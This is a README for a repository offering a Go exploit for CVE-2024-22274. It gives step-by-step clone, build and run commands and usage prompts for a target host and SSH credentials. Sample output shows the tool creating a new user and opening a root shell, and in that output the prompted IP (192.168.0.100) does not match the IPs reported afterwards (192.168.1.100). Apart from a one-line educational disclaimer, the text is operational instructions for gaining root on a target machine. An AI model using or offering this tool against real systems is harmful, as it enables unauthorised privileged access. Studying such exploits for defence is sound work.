CVE-2024-22274 Exploit

This repository contains an exploit for CVE-2024-22274. The exploit creates a new user on a remote machine via SSH and then provides a root shell.

Requirements

  • Go (Golang) installed on your machine. You can download it from here.
  • A remote machine with SSH access.

Compilation

  1. Clone the repository:

    git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
    cd CVE-2024-22274-RCE
  2. Install the required packages:

    go mod init cve-2024-22274
    go mod tidy
    go get golang.org/x/crypto/ssh
    go get golang.org/x/term
  3. Compile the Go program:

    go build -o cve-2024-22274-rce main.go

Usage

  1. Run the compiled program:

    ./cve-2024-22274-rce
  2. Follow the prompts:

    • Enter the host address of the target machine.
    • Enter the SSH port (default is 22).
    • Enter the SSH username of the target machine.
    • Enter the SSH password of the target machine.
    • Enter the new username you want to create.
    • Enter the new password for the new user.
  3. After the user is created, you will get a root shell on the target machine. You can execute commands as the new user.

Example

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

Disclaimer This code is for educational purposes only. Use it responsibly and only on systems you have permission to test.

License This project is licensed under the MIT License - see the LICENSE file for details.